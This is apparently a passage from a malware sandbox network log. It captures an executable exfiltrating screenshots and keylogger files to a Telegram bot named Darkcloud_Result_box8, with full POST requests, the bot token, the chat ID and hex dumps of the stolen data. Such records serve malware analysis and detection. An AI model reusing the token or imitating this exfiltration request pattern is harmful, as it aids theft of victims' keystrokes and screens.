--3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataQBoKXMWe.txt"Content-Type: application/octet-stream[07:40:46]<<Program Manager>>[07:40:46]<<Program Manager>>[07:40:46]<<Program Mana
2024-11-25 12:40:58 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:40:58 GMT Content-Type: application/json Content-Length: 594 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:40:58 UTC	594	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2538,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49958	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:02 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 71 49 6e 68 62 48 6d 42 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotqInhbHmB.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:41:02 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:41:02 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:07 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:41:07 GMT Content-Type: application/json Content-Length: 600 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49972	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:08 UTC	558	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:08 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 6b 6d 72 4e 68 57 57 71 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 35 37 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 35 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 34 30 3a 35 38 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDatakmrNhWWq.txt"Content-Type: application/octet-stream[07:40:57]<<Program Manager>>[07:40:58]<<Program Manager>>[07:40:58]<<Program Mana
2024-11-25 12:41:09 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:41:09 GMT Content-Type: application/json Content-Length: 595 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:41:09 UTC	595	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 35 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2540,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49983	149.154.167.220	443	4304	C:\Users\user\Desktop\wMy37vlfvz.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:41:12 UTC	562	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 67 58 6e 72 4f 78 43 75 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotgXnrOxCu.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:41:12 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 